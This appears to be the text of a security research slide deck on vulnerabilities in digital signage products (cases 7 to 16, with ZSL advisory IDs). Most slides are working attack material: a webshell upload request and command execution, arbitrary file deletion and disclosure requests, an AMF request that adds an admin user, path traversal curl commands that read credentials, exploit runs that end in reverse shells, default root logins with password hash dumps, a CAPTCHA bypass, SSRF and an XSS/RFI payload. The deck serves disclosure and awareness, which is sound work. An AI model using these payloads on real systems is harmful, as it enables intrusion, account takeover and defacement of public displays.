  • 39. Case #7 – QiHang Media Pre-auth Remote Code Execution POST /QH.aspx HTTP/1.1 Host: 192.168.1.74:8090 Content-Length: 2125 User-Agent: MrM Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhbcZX7o0Hw19h3kr Accept: */* Accept-Encoding: gzip, deflate Connection: close ------WebKitFormBoundaryhbcZX7o0Hw19h3kr Content-Disposition: form-data; name="fileToUpload"; filename="cmd2.aspx" Content-Type: application/octet-stream ASPX WEBSHELL ------WebKitFormBoundaryhbcZX7o0Hw19h3kr Content-Disposition: form-data; name="action" upload ------WebKitFormBoundaryhbcZX7o0Hw19h3kr Content-Disposition: form-data; name="responderId" ResourceNewResponder ------WebKitFormBoundaryhbcZX7o0Hw19h3kr Content-Disposition: form-data; name="remotePath" /opt/resources/ ------WebKitFormBoundaryhbcZX7o0Hw19h3kr-- HTTP/1.1 100 Continue Server: HowFor Web Server/5.6.0.0 Date: Tue, 28 Jul 2020 21:49:46 GMT Content-Length: 0 HTTP/1.1 200 OK Server: HowFor Web Server/5.6.0.0 Date: Tue, 28 Jul 2020 21:49:46 GMT X-AspNet-Version: 4.0.30319 Set-Cookie: ASP.NET_SessionId=zqjce1znyuvfzawcmbd3odn2 Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 59 Connection: Close { "first": true, "second": [ "cmd2.aspx" ] }
  • 40. Case #7 – QiHang Media GET request: http://192.168.1.74:8090/opt/resources/cmd.aspx Command issued: /c whoami Response: robertovolareadministrator
  • 41. Case #7 – QiHang Media
  • 42. Case #7 – QiHang Media Arbitrary File Deletion POST /QH.aspx HTTP/1.1 Host: 192.168.1.74:8090 Content-Length: 105 User-Agent: Eraser X-Requested-With: XMLHttpRequest responderId=ResourceNewResponder&action=delete&data=["/opt/resources/Billboard.jpg"] Arbitrary File Disclosure GET & POST: /QH.aspx?responderId=ResourceNewResponder&action=download&fileName=.%2fGlobal.asax /QH.aspx?responderId=ResourceNewResponder&action=view&fileName=.%2fWeb.config /QH.aspx?responderId=ResourceNewResponder&action=getAll&path=&fileName= { "name": "bin",
  • 43. Case #8 – Eibiz i-Media Server ▪ Configuration Disclosure ▪ Remote Privilege Escalation / Account Takeover ▪ File Path Traversal ▪ Authentication Bypass (Add Admin)
  • 44. Case #8 – Eibiz i-Media Server Eibiz i-Media Server Digital Signage 3.8.0 (createUser) Authentication Bypass (Add Admin) (ZSL-2020-5586) $ python3 imedia_createUser.py 192.168.1.1 waddup --Sending serialized object... --Replaying... ------------------------------------------------------ Admin user 'waddup' successfully created. No password. ------------------------------------------------------
  • 45. Case #8 – Eibiz i-Media Server Authentication Bypass (Add Admin) POST /messagebroker/amf HTTP/1.1 Host: 192.168.1.1 User-Agent: MrM Accept: */* Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=F9338B31E5CAE8731654798D35BBAA6A Referer: http://192.168.1.1/main.swf Content-type: application/x-amf Content-Length: 531 null/58þ •Oflex.messaging.messages.RemotingMessage sourceoperationmessageIdtimestamp bodyclientIddestinationtimeToLiveheadersupdateUserI1B897A86-73BE-05B1-CEB3-A05509641144 •sds.model.Userpassword createtelfax nameaddress updateid mobileuDeletedepartment role read emailcompany 111111111-222-3333333-222-1111DisplayNameImaginaryStreettestingusSecurityAdministratorzsl@wha.baZSLBuserService DSIdI4A5F33C3-711F-58E8-9050-95D100F3DE3EDSEndpoint my-amf
  • 46. Case #8 – Eibiz i-Media Server Authentication Bypass (Add Admin) Response: 1. onDetected‚eDetected duplicate HTTP-based FlexSessions, generally due to the remote host disabling session cookies. Session cookies must be enabled 2. AcknowledgeMessageheaderstimeToLiveclientIddestinationmessageIdcorrelationId bodytimestamp
  • 47. Case #8 – Eibiz i-Media Server
  • 48. Control thousands of displays from one location
  • 51. Player monitoring and information
  • 52. Case #8 – Eibiz i-Media Server File Path Traversal $ curl "http://192.168.1.1/dlibrary/null?oldfile=../../../../../../windows/win.ini&library=null" ; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 $ curl http://192.168.1.1/config/SiteConfig.properties server.mode=testing admin.username=admin admin.password=admin designer.username=designer designer.password=designer reporter.username=reporter reporter.password=reporter db.PriDBServerIp=127.0.0.1 db.PriDBServerPort=3306 Configuration Disclosure
  • 53. Case #8 – Eibiz i-Media Server Eibiz i-Media Server Digital Signage 3.8.0 Remote Privilege Escalation / Account Takeover (ZSL-2020-5584) Action Message Format (AMF) binary protocol (Security through obscurity?)
  • 55. Case #9 – B-Swiss 3 B-swiss 3 Digital Signage System 3.6.5 Backdoor Remote Code Execution (ZSL-2020-5590) ✓ Exploit default credentials (Authenticate) ✓ Exploit file upload and execute PHP code ✓ Get SQL database (ZSL-2020-5588) ✓ Find hardcoded backdoor account ‘admin_m’ with level No 100000 ✓ Crack password ✓ Unauthenticated reverse shell
  • 56. lqwrm@metalgear:~/prive$ python3 sign2.py 192.168.10.11 192.168.10.22 7777 [*] Checking target... [*] Good to go! [*] Checking for previous attempts... [*] All good. [*] Getting backdoor session... [*] Got master backdoor cookie: 0c1617103c6f50107d09cb94b3eafeb2 [*] Starting callback listener child thread [*] Starting handler on port 7777 [*] Adding GUI credentials: test:123456 [*] Executing and deleting stager file [*] Connection from 192.168.10.11:40080 [*] You got shell! id ; uname -or uid=33(www-data) gid=33(www-data) groups=33(www-data) 4.15.0-20-generic GNU/Linux exit *** Connection closed by remote host *** [?] Want me to remove the GUI credentials? y [*] Removing... [*] t00t! lqwrm@metalgear:~/prive$ Case #9 – B-Swiss 3
  • 57. Case #9 – B-Swiss 3
  • 58. Case #9 – B-Swiss 3
  • 59. Case #10 – SpinetiX Fusion ▪ Username Enumeration Weakness ▪ CSRF Add Admin Exploit ▪ Database Backup Disclosure ▪ File Backup/Delete Path Traversal
  • 60. Case #10 – SpinetiX Fusion Database Backup Disclosure GET /content/files/backups/ HTTP/1.0 Host: 192.168.1.1 HTTP/1.1 200 OK Date: Wed, 26 Aug 2020 15:57:40 GMT Server: Apache/2.2.22 (Unix) X-spinetix-firmware: 3.0.6-1.0.21932 X-raperca-version: 3.0.6-1.0.21912 X-spinetix-serial: 001d400027b8 X-spinetix-hw: BonsaiT Content-Length: 636 Connection: close Content-Type: text/html;charset=UTF-8 Index of /content/files/backups Name Last modified Size Description Parent Directory - Custom1337Name.7z 25-Aug-2020 10:06 1.0M Extracting the .7z shows userpwd.txt file, cat userpwd.txt: admin:e10adc3949ba59abbe56e057f20f883e:file,program,activate,layout,playlist,model,slide,edit,admin::0 testingus:b874da212a62786181c66c5bbaabf425:file,program,activate,layout,playlist,model,slide,edit,admin:se:1
  • 61. Case #10 – SpinetiX Fusion
  • 62. Case #11 – BrightSign BrightSign Digital Signage Diagnostic Web Server 8.2.26 Unauthenticated SSRF (ZSL-2020-5595) $ curl http://10.0.0.17/speedtest?url=127.0.0.1:22 Cloud content/resources and secrets disclosure by abusing known arbitrary file disclosure vulnerability: Static XML configuration read within the web application software. Catch the stream!
  • 63.
  • 64.
  • 65.
  • 67. Case #12 – ReQuest Media Server ReQuest Serious Play F3 Media Server 7.0.3 Unauthenticated Remote Code Execution (ZSL-2020-5602)
  • 68. Case #12 – ReQuest Media Server Unauthenticated Remote Code Execution (Backdoor) lqwrm@metalgear:~/prive$ python3 ReQuest.py 192.168.1.17:3664 192.168.1.22 6161 Let's see waddup... Good to go. Starting handler on port 6161. Writing callback file... We got the dir: /75302IV29ZS1 Checking write status... All is well John Spartan. Calling your listener... Connection from 192.168.0.17:42057 You got shell. id;uname -ro uid=81(apache) gid=81(apache) groups=81(apache),666(arq) 3.2.0-4-686-pae GNU/Linux exit *** Connection closed by remote host *** lqwrm@metalgear:~/prive$
  • 69. Case #13 – Adtec Digital Adtec Digital Multiple Products Default/Hardcoded Credentials Remote Root (ZSL-2020-5603) login as: root root@192.168.3.12's password: Successfully logged in. Thank you for choosing Adtec Digital products- we know you had a choice and we appreciate your decision! root@targethostname:~# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) -- admin@targethostname:/$ id uid=502(admin) gid=502(admin) groups=0(root),502(admin) admin@targethostname:~$ id adtec uid=500(adtec) gid=1000(users) groups=1000(users),72(apache) admin@targethostname:~$ cat /etc/sudoers |grep -v "#" root ALL=(ALL) ALL apache ALL=(ALL) NOPASSWD: ALL Adtec Resident Telnet Server... UserName: adtec adtec PassWord: none User adtec connected *.SYSD SHELLCMD cat /etc/passwd *.SYSD CMD cat /etc/passwd OK root:he7TRuXjJjxfc:0:0:root:/root:/bin/sh adtec:GC1BpYa80PaoY:500:1000:adtec:/media:/bin/sh apache:!!:72:72:Apache Server:/dev/null:/sbin/nologin fregd:!!:73:73:Freg Daemon:/dev/null:/sbin/nologin ntp:!!:38:38:NTP Server:/dev/null:/sbin/nologin syslogd:!!:74:74:Syslog Daemon:/dev/null:/sbin/nologin admin:rDglOB38TVYRg:502:502:admin:/home/admin:/bin/sh sshd:x:71:65:SSH daemon:/var/lib/sshd:/bin/false avahi:x:82:82:Avahi Daemon:/dev/null/:/sbin/nologin avahi-autoipd:x:83:83:Avahi Autoipd:/dev/null/:/sbin/nologin messagebus:x:81:81:Message Bus Daemon:/dev/null:/sbin/nologin
  • 70. Case #13 – Adtec Digital
  • 71. Case #13 – Adtec Digital Digital Video Broadcasting (DVB)
  • 72. Case #14 – iDS6 DSSPro iDS6 DSSPro Digital Signage System 6.2 (autoSave) Cookie User Password Disclosure (ZSL-2020-5605) iDS6 DSSPro Digital Signage System 6.2 Cross-Site Request Forgery (CSRF) (ZSL-2020-5606) iDS6 DSSPro Digital Signage System 6.2 CAPTCHA Security Bypass (ZSL-2020-5607) iDS6 DSSPro Digital Signage System 6.2 Improper Access Control Privilege Escalation (ZSL-2020-5608) ✓ Exploit default credentials (Authenticate) ✓ Exploit IDOR, create user ✓ List user IDs ✓ Bypass authorization, create role ✓ List role IDs and apply all permissions to created role ✓ Assign created role to created user ✓ Escalate and takeover
  • 78. $ curl -i http://192.168.1.88/Pages/login!autoLoginVerifyCode -c cookies.txt {"success":true,"message":"6435","data":"6435"} Get CAPTCHA code $ curl -i http://192.168.1.88/Pages/login!userValidate -b cookies.txt -d "shortName=&user.userName=boss&user.password=boss&loginVerifyCode=6435&autoSave=true&autoLogin=true&domain_login=" -v HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: cookie.username=boss; Expires=Wed, 21-Jul-2021 19:41:26 GMT Set-Cookie: cookie.password=boss; Expires=Wed, 01-Jul-2021 19:41:26 GMT Set-Cookie: cookie.autosave=true; Expires=Wed, 01-Jul-2021 19:41:26 GMT Set-Cookie: cookie.autologin=true; Expires=Wed, 01-Jul-2021 19:41:26 GMT Cache-Control: no-cache Pragma: no-cache Content-Type: application/x-json;charset=UTF-8 Date: Tue, 21 Jul 2020 19:41:26 GMT Connection: close Content-Length: 16 {"success":true} Use CAPTCHA code Case #14 – iDS6 DSSPro
  • 79. 1. http://192.168.1.2:8080/downloader.log 2. http://192.168.1.2:8080/launcher.log 3. http://192.168.1.2:8080/player.log 4. http://192.168.1.2:8080/downloader.log_YYYY_MM_DD 5. http://192.168.1.2:8080/launcher.log_YYYY_MM_DD 6. http://192.168.1.2:8080/player.log_YYYY_MM_DD Case #15 – RED-V RXV RED-V Super Digital Signage System RXV-A740R Log Information Disclosure (ZSL-2020-5609)
  • 80. Case #16 – Sony BRAVIA Sony BRAVIA Digital Signage 1.7.8 Improper Access Control, IDOR, XSS, RFI
  • 81.
  • 82.
  • 83. Case #16 – Sony BRAVIA
  • 84. Case #16 – Sony BRAVIA POST /api/content-creation?type=create&id=174ace2f9371b4 HTTP/1.1 {"material":[{"name":"http://www.zeroscience.mk/pentest/XSS.svg","type":"html"}, {"name":"C:fakepathBlank.jpg","type":"jpeg"},{"name":"","type":"external_inp ut"},{"name":"","type":""}],"layout":{"name":"assets/images/c4e7e66e.icon_layout _pattern_landscape_003.png","area":3,"direction":"landscape","layouts":[{"index" :1,"width":960,"height":1080,"x":0,"y":0},{"index":2,"width":960,"height":540,"x ":960,"y":0},{"index":3,"width":960,"height":540,"x":960,"y":540}]}} Remote File Include
  • 85. Case #16 – Sony BRAVIA
  • 86.
  • 88. Packet Storm Security Digital Signage public advisories
  • 89. IBM X-Force Exchange Digital Signage public advisories
  • 91. IoT, Bug Bounty and Disclosure “Successful bug reports on IoT devices are low because whereas researchers can test web apps relatively easily, getting hold of a physical IoT box to fuzz is more difficult.” https://www.infosecurity-magazine.com/infosec/why-successful-iot-bug-bounties/
  • 92. IoT, Bug Bounty and Disclosure https://arxiv.org/ftp/arxiv/papers/1909/1909.11166.pdf ✓ Lack of security for IoT products ✓ Companies are not security mature ✓ Incentives to invest in security are missing ✓ Hardware and technical problems ✓ Customer demand for security is low ✓ Regulation is missing ✓ Awareness missing on security value
  • 93. ✓ Hacktivism ✓ Signage defacement ✓ Spread information or misinformation ✓ Political, misdirection, prank, scam ✓ Botnets and DDoS possibilities ✓ Chaos or panic (airports, train stations, stadiums, etc.) Outreach
  • 94.
  • 95.